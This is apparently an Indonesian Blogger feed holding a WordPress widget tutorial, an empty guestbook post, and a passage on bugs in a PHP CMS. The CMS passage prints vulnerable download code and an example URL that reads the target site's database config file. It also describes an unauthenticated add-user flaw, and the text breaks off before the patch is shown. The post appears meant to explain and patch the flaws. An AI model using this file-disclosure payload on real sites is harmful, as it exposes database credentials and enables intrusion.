Dalam contoh kasus ini, Saya akan menambahkan sebuah widget shoutmix, apa itu shutmix ? adalah suatu aplikasi website berupa pihak ketiga yang dipakai dalam suatu website sebagai tempat untuk chating, tempat untuk berkomentar, dan juga sebagai form buku tamu. silahkan &amp;nbsp;baca artikel membuat shoutmix &lt;a href="http://naksangka.blogspot.com/2009/03/membuat-shoutmix.html"&gt;berikut ini &lt;/a&gt;jika Anda ingin membuat sebuah buku tamu untuk blog wordpress Anda&lt;br /&gt;
&lt;div&gt;
&lt;div&gt;
Berikut kode yang Saya dapatkan dari shoutmix untuk dijadikan sebuah widget pada blog wordpress&lt;/div&gt;
&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="float: left; margin-right: 1em; text-align: left;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_xxdfU1yNW68/TNV63zu0vsI/AAAAAAAAAiU/l13PA5AQpl4/s1600/4.JPG" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="233" src="http://2.bp.blogspot.com/_xxdfU1yNW68/TNV63zu0vsI/AAAAAAAAAiU/l13PA5AQpl4/s400/4.JPG" width="400" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;shoutmix code&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sekarang, kita kembali lagi pada Wordpress, dimana setelah mendapatkan sebuah kode &lt;i style="font-weight: bold;"&gt;HTML &lt;/i&gt;&amp;nbsp;yang mana nantinya kode ini akan kita implementasikan pada blog wordpress.&lt;/div&gt;
&lt;div&gt;
Pada Menu&amp;nbsp;&lt;b&gt;&lt;i&gt;Apprearance&amp;nbsp; klik &amp;nbsp;Widget &amp;gt; Teks &amp;gt; Sunting&lt;/i&gt;&lt;/b&gt;. seperti berikut ini gambarannya&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="float: left; margin-right: 1em; text-align: left;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_xxdfU1yNW68/TNV8XvE3CBI/AAAAAAAAAiY/5IDtLsEGkBs/s1600/5.JPG" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="292" src="http://4.bp.blogspot.com/_xxdfU1yNW68/TNV8XvE3CBI/AAAAAAAAAiY/5IDtLsEGkBs/s400/5.JPG" width="400" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;tambah gadget&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Setelah berhasil menambahkan widget &lt;i style="font-weight: bold;"&gt;"teks" &lt;/i&gt;&amp;nbsp;klik &lt;b&gt;&lt;i&gt;"sunting"&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;
&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="float: left; margin-right: 1em; text-align: left;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_xxdfU1yNW68/TNV83fQGJYI/AAAAAAAAAic/BLAs4pFZVks/s1600/6.JPG" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="400" src="http://3.bp.blogspot.com/_xxdfU1yNW68/TNV83fQGJYI/AAAAAAAAAic/BLAs4pFZVks/s400/6.JPG" width="380" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Sunting&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pada kotak widget &lt;b&gt;&lt;i&gt;"teks"&lt;/i&gt;&lt;/b&gt; ini, saya akan menambahkan widget buku tamu, yang mana widget buku tamu ini Saya dapatkan dari&amp;nbsp;http://www4.shoutmix.com.&lt;br /&gt;
&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_xxdfU1yNW68/TNV9dE_YEDI/AAAAAAAAAig/cFsIWDSvAGY/s1600/7.JPG" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="400" src="http://4.bp.blogspot.com/_xxdfU1yNW68/TNV9dE_YEDI/AAAAAAAAAig/cFsIWDSvAGY/s400/7.JPG" width="372" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;paste&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
Setelah itu, klik &lt;b&gt;&lt;i&gt;Selesai &amp;gt; Simpan&lt;/i&gt;&lt;/b&gt; Perubahan. lihatlah pada blog Anda, sekarang sudah terdapat menu baru.&lt;br /&gt;
&lt;div&gt;
Demikianlah artikel ini, semoga dapat bermannfaat. :)&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;div&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5446044059411239717-729425831635891268?l=naksangka.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/naksangka/~4/0hW2nh0JBvM" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/naksangka/~3/0hW2nh0JBvM/menambah-widget-pada-wordpres.html</link><author>noreply@blogger.com (pandewa)</author><media:thumbnail url="http://4.bp.blogspot.com/_xxdfU1yNW68/TNV-8HV03GI/AAAAAAAAAik/FZL8XPdVYhE/s72-c/Wordpress-Backup-Tools-Plugins.jpg" height="72" width="72" /><thr:total>1</thr:total><feedburner:origLink>http://naksangka.blogspot.com/2010/11/menambah-widget-pada-wordpres.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-5446044059411239717.post-3920537590009517504</guid><pubDate>Fri, 22 Oct 2010 14:35:00 +0000</pubDate><atom:updated>2010-10-22T07:45:30.298-07:00</atom:updated><title>Buku Tamu</title><description>&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="float: left; margin-right: 1em; text-align: left;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;img border="0" height="209" src="http://2.bp.blogspot.com/_xxdfU1yNW68/TMGjFzw099I/AAAAAAAAAhc/QWJFcxNTUy8/s320/guest_book.jpg" style="margin-left: auto; margin-right: auto;" width="320" /&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;buku tamu&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/_xxdfU1yNW68/TMGjFzw099I/AAAAAAAAAhc/QWJFcxNTUy8/s1600/guest_book.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5446044059411239717-3920537590009517504?l=naksangka.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/naksangka/~4/cZ9UHWm82qc" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/naksangka/~3/cZ9UHWm82qc/komentar-pengunjung.html</link><author>noreply@blogger.com (pandewa)</author><media:thumbnail url="http://2.bp.blogspot.com/_xxdfU1yNW68/TMGjFzw099I/AAAAAAAAAhc/QWJFcxNTUy8/s72-c/guest_book.jpg" height="72" width="72" /><thr:total>22</thr:total><feedburner:origLink>http://naksangka.blogspot.com/2010/10/komentar-pengunjung.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-5446044059411239717.post-2266609828156388839</guid><pubDate>Tue, 12 Oct 2010 23:27:00 +0000</pubDate><atom:updated>2010-10-12T16:33:00.389-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">pathcing</category><category domain="http://www.blogger.com/atom/ns#">hacking</category><title>PHP Bug di CMS PHP L.hakim</title><description>&lt;p align="justify"&gt;&lt;font size="2" face="Times New Roman"&gt;&lt;a href="http://lh5.ggpht.com/_xxdfU1yNW68/TLTwI3xNhxI/AAAAAAAAAhQ/r9IHm3chTg4/s1600-h/bug%5B9%5D.jpg"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="bug" border="0" alt="bug" src="http://lh6.ggpht.com/_xxdfU1yNW68/TLTwKBhZjWI/AAAAAAAAAhU/RCETDS4Skuo/bug_thumb%5B7%5D.jpg?imgmax=800" width="332" height="331" /&gt;&lt;/a&gt;&lt;/font&gt;&lt;/p&gt;  &lt;p align="justify"&gt;&lt;font size="2" face="Times New Roman"&gt;Jika pada artikel sebelumnya saya menghadirkan artikel mengenai Bug Cms PHP karya Bapak L.Hakim silahkan baca &lt;/font&gt;&lt;a href="http://naksangka.blogspot.com/2010/08/bug-cms.html" target="_blank"&gt;&lt;font size="2" face="Times New Roman"&gt;disini&lt;/font&gt;&lt;/a&gt;&lt;font size="2" face="Times New Roman"&gt; , maka pada artikel kali ini saya akan mengulas mengenai Bug, dan juga cara penanganannya (Path)&lt;/font&gt;&lt;/p&gt;  &lt;p align="justify"&gt;&lt;font size="2" face="Times New Roman"&gt;berawal dari sahabat saya dengan nick kodok ngorek, yang telah berhasil menemukan puluhan website yang menggunakan CMS ini, dan juga mas Nathan yang telah berhasil masuk ke website Hasanudin Makasar yang juga menggunakan CMS PHP karya Pak Lukmn Hakim ini.&lt;/font&gt;&lt;/p&gt;  &lt;p align="justify"&gt;&lt;font size="2" face="Times New Roman"&gt;nah, berikut penjelasan Bug CMS ini :&lt;/font&gt;&lt;/p&gt;  &lt;p align="justify"&gt;&lt;font face="Times New Roman"&gt;&lt;font size="2"&gt;1. bug pada &lt;b&gt;downlot.php&lt;/b&gt;&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;  &lt;p align="justify"&gt;&lt;font size="2" face="Times New Roman"&gt;kelemahan pada bug ini adalah tidak memfilter dokumen yg akan di download sehingga bisa mendownload file bahkan config dalam website tersebut. berikut isi dari file download.php&lt;/font&gt;&lt;/p&gt;  &lt;pre style="text-align: center; background-color: #4bacc6; color: #ffffff; font-weight: bold"&gt;code program&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre style="font-family: consolas,; font-size: small" class="xml" #ffffff;?="#ffffff;?" background-color:="background-color:" monospace;="monospace;" courier,="courier," New?,="New?," Courier="Courier"&gt;&lt;ol&gt;&lt;li&gt;&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;span style="color: #009900"&gt;&lt;span style="color: #000000; font-weight: bold"&gt;&amp;lt;?php&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;li style="background-color: #f4f4f4"&gt;&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&lt;/div&gt;&lt;li&gt;&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;span style="color: #009900"&gt;$filename = $_GET&lt;span style="color: #66cc66"&gt;[&lt;/span&gt;&lt;span style="color: #ff0000"&gt;'file'&lt;/span&gt;&lt;span style="color: #66cc66"&gt;]&lt;/span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;li style="background-color: #f4f4f4"&gt;&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;span style="color: #009900"&gt;$file_extension = strtolower&lt;span style="color: #66cc66"&gt;(&lt;/span&gt;substr&lt;span style="color: #66cc66"&gt;(&lt;/span&gt;strrchr&lt;span style="color: #66cc66"&gt;(&lt;/span&gt;$filename,&lt;span style="color: #ff0000"&gt;&amp;quot;.&amp;quot;&lt;/span&gt;&lt;span style="color: #66cc66"&gt;)&lt;/span&gt;,1&lt;span style="color: #66cc66"&gt;)&lt;/span&gt;&lt;span style="color: #66cc66"&gt;)&lt;/span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;li&gt;&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&amp;#160;&lt;/div&gt;&lt;li style="background-color: #f4f4f4"&gt;&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;span style="color: #009900"&gt;switch&lt;span style="color: #66cc66"&gt;(&lt;/span&gt;$file_extension&lt;span style="color: #66cc66"&gt;)&lt;/span&gt;&lt;span style="color: #66cc66"&gt;{&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;li&gt;&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;span style="color: #009900"&gt;  case &lt;span style="color: #ff0000"&gt;&amp;quot;pdf&amp;quot;&lt;/span&gt;: $&lt;span style="color: #000066"&gt;ctype&lt;/span&gt;=&lt;span style="color: #ff0000"&gt;&amp;quot;application/pdf&amp;quot;&lt;/span&gt;; break;&lt;/span&gt;&lt;/div&gt;&lt;li style="background-color: #f4f4f4"&gt;&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;span style="color: #009900"&gt;  case &lt;span style="color: #ff0000"&gt;&amp;quot;exe&amp;quot;&lt;/span&gt;: $&lt;span style="color: #000066"&gt;ctype&lt;/span&gt;=&lt;span style="color: #ff0000"&gt;&amp;quot;application/octet-stream&amp;quot;&lt;/span&gt;; break;&lt;/span&gt;&lt;/div&gt;&lt;li&gt;&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;span style="color: #009900"&gt;  case &lt;span style="color: #ff0000"&gt;&amp;quot;zip&amp;quot;&lt;/span&gt;: $&lt;span style="color: #000066"&gt;ctype&lt;/span&gt;=&lt;span style="color: #ff0000"&gt;&amp;quot;application/zip&amp;quot;&lt;/span&gt;; break;&lt;/span&gt;&lt;/div&gt;&lt;li style="background-color: #f4f4f4"&gt;&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;span style="color: #009900"&gt;  case &lt;span style="color: #ff0000"&gt;&amp;quot;rar&amp;quot;&lt;/span&gt;: $&lt;span style="color: #000066"&gt;ctype&lt;/span&gt;=&lt;span style="color: #ff0000"&gt;&amp;quot;application/rar&amp;quot;&lt;/span&gt;; break;&lt;/span&gt;&lt;/div&gt;&lt;li&gt;&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;span style="color: #009900"&gt;  case &lt;span style="color: #ff0000"&gt;&amp;quot;doc&amp;quot;&lt;/span&gt;: $&lt;span style="color: #000066"&gt;ctype&lt;/span&gt;=&lt;span style="color: #ff0000"&gt;&amp;quot;application/msword&amp;quot;&lt;/span&gt;; break;&lt;/span&gt;&lt;/div&gt;&lt;li style="background-color: #f4f4f4"&gt;&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;span style="color: #009900"&gt;  case &lt;span style="color: #ff0000"&gt;&amp;quot;xls&amp;quot;&lt;/span&gt;: $&lt;span style="color: #000066"&gt;ctype&lt;/span&gt;=&lt;span style="color: #ff0000"&gt;&amp;quot;application/vnd.ms-excel&amp;quot;&lt;/span&gt;; break;&lt;/span&gt;&lt;/div&gt;&lt;li&gt;&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;span style="color: #009900"&gt;  case &lt;span style="color: #ff0000"&gt;&amp;quot;ppt&amp;quot;&lt;/span&gt;: $&lt;span style="color: #000066"&gt;ctype&lt;/span&gt;=&lt;span style="color: #ff0000"&gt;&amp;quot;application/vnd.ms-powerpoint&amp;quot;&lt;/span&gt;; break;&lt;/span&gt;&lt;/div&gt;&lt;li style="background-color: #f4f4f4"&gt;&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;span style="color: #009900"&gt;  case &lt;span style="color: #ff0000"&gt;&amp;quot;gif&amp;quot;&lt;/span&gt;: $&lt;span style="color: #000066"&gt;ctype&lt;/span&gt;=&lt;span style="color: #ff0000"&gt;&amp;quot;image/gif&amp;quot;&lt;/span&gt;; break;&lt;/span&gt;&lt;/div&gt;&lt;li&gt;&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;span style="color: #009900"&gt;  case &lt;span style="color: #ff0000"&gt;&amp;quot;png&amp;quot;&lt;/span&gt;: $&lt;span style="color: #000066"&gt;ctype&lt;/span&gt;=&lt;span style="color: #ff0000"&gt;&amp;quot;image/png&amp;quot;&lt;/span&gt;; break;&lt;/span&gt;&lt;/div&gt;&lt;li style="background-color: #f4f4f4"&gt;&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;span style="color: #009900"&gt;  case &lt;span style="color: #ff0000"&gt;&amp;quot;jpeg&amp;quot;&lt;/span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;li&gt;&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;span style="color: #009900"&gt;  case &lt;span style="color: #ff0000"&gt;&amp;quot;jpg&amp;quot;&lt;/span&gt;: $&lt;span style="color: #000066"&gt;ctype&lt;/span&gt;=&lt;span style="color: #ff0000"&gt;&amp;quot;image/jpg&amp;quot;&lt;/span&gt;; break;&lt;/span&gt;&lt;/div&gt;&lt;li style="background-color: #f4f4f4"&gt;&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;span style="color: #009900"&gt;  default: $&lt;span style="color: #000066"&gt;ctype&lt;/span&gt;=&lt;span style="color: #ff0000"&gt;&amp;quot;application/proses&amp;quot;&lt;/span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;li&gt;&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;span style="color: #009900"&gt;&lt;span style="color: #66cc66"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;li style="background-color: #f4f4f4"&gt;&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;span style="color: #009900"&gt;header&lt;span style="color: #66cc66"&gt;(&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;quot;Pragma: private&amp;quot;&lt;/span&gt;&lt;span style="color: #66cc66"&gt;)&lt;/span&gt;; &lt;/span&gt;&lt;/div&gt;&lt;li&gt;&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;span style="color: #009900"&gt;header&lt;span style="color: #66cc66"&gt;(&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;quot;Expires: 0&amp;quot;&lt;/span&gt;&lt;span style="color: #66cc66"&gt;)&lt;/span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;li style="background-color: #f4f4f4"&gt;&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;span style="color: #009900"&gt;header&lt;span style="color: #66cc66"&gt;(&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;quot;Cache-Control: must-revalidate, post-check=0, pre-check=0&amp;quot;&lt;/span&gt;&lt;span style="color: #66cc66"&gt;)&lt;/span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;li&gt;&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;span style="color: #009900"&gt;header&lt;span style="color: #66cc66"&gt;(&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;quot;Cache-Control: private&amp;quot;&lt;/span&gt;,false&lt;span style="color: #66cc66"&gt;)&lt;/span&gt;; &lt;/span&gt;&lt;/div&gt;&lt;li style="background-color: #f4f4f4"&gt;&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;span style="color: #009900"&gt;header&lt;span style="color: #66cc66"&gt;(&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;quot;Content-Type: $ctype&amp;quot;&lt;/span&gt;&lt;span style="color: #66cc66"&gt;)&lt;/span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;li&gt;&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;span style="color: #009900"&gt;header&lt;span style="color: #66cc66"&gt;(&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;quot;Content-Disposition: attachment; filename=\&amp;quot;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;quot;.basename($filename).&amp;quot;&lt;/span&gt;\&lt;span style="color: #ff0000"&gt;&amp;quot;;&amp;quot;&lt;/span&gt; &lt;span style="color: #66cc66"&gt;)&lt;/span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;li style="background-color: #f4f4f4"&gt;&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;span style="color: #009900"&gt;header&lt;span style="color: #66cc66"&gt;(&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;quot;Content-Transfer-Encoding: binary&amp;quot;&lt;/span&gt;&lt;span style="color: #66cc66"&gt;)&lt;/span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;li&gt;&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;span style="color: #009900"&gt;header&lt;span style="color: #66cc66"&gt;(&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;quot;Content-Length: &amp;quot;&lt;/span&gt;.filesize&lt;span style="color: #66cc66"&gt;(&lt;/span&gt;$filename&lt;span style="color: #66cc66"&gt;)&lt;/span&gt;&lt;span style="color: #66cc66"&gt;)&lt;/span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;li style="background-color: #f4f4f4"&gt;&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;span style="color: #009900"&gt;readfile&lt;span style="color: #66cc66"&gt;(&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;quot;$filename&amp;quot;&lt;/span&gt;&lt;span style="color: #66cc66"&gt;)&lt;/span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;li&gt;&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;span style="color: #009900"&gt;exit&lt;span style="color: #66cc66"&gt;(&lt;/span&gt;&lt;span style="color: #66cc66"&gt;)&lt;/span&gt;; &lt;/span&gt;&lt;/div&gt;&lt;li style="background-color: #f4f4f4"&gt;&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font: 1em/1.2em monospace; background: none transparent scroll repeat 0% 0%; vertical-align: top; padding-top: 0px"&gt;&lt;span style="color: #009900"&gt;&lt;span style="color: #000000; font-weight: bold"&gt;?&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center; background-color: #4bacc6; color: #ffffff; font-weight: bold"&gt;Parsed in 0.005 seconds at 198.86 KB/s&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;font size="2" face="Times New Roman"&gt;contohnya :&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;a href="http://korban/downlot.php?file=config/koneksi.php"&gt;&lt;font size="2" face="Times New Roman"&gt;http://korban/downlot.php?file=config/koneksi.php&lt;/font&gt;&lt;/a&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;font size="2" face="Times New Roman"&gt;2. bugs add user baru&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;font size="2" face="Times New Roman"&gt;menurut saya, inilah bug yang sangat parah sekali, karena melalui bug ini, hacker bisa memanfaatkannya untuk membuat user baru, bahkan menghapus user yang telah ada.&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;font size="2" face="Times New Roman"&gt;Untuk melakukan Patching: &lt;br /&gt;    &lt;br /&gt;Bugs yang saya temukan berada di bagian admin/content.php &lt;br /&gt;&lt;br /&gt;    &lt;br /&gt;dimana pada source code tidak difilter dengan session. pastekan code berikut setelah include( “../config/class_paging.php”);&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre style="text-align: center; background-color: #4bacc6; color: #ffffff; font-weight: bold"&gt;code program&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre style="font-family: consolas,; font-size: 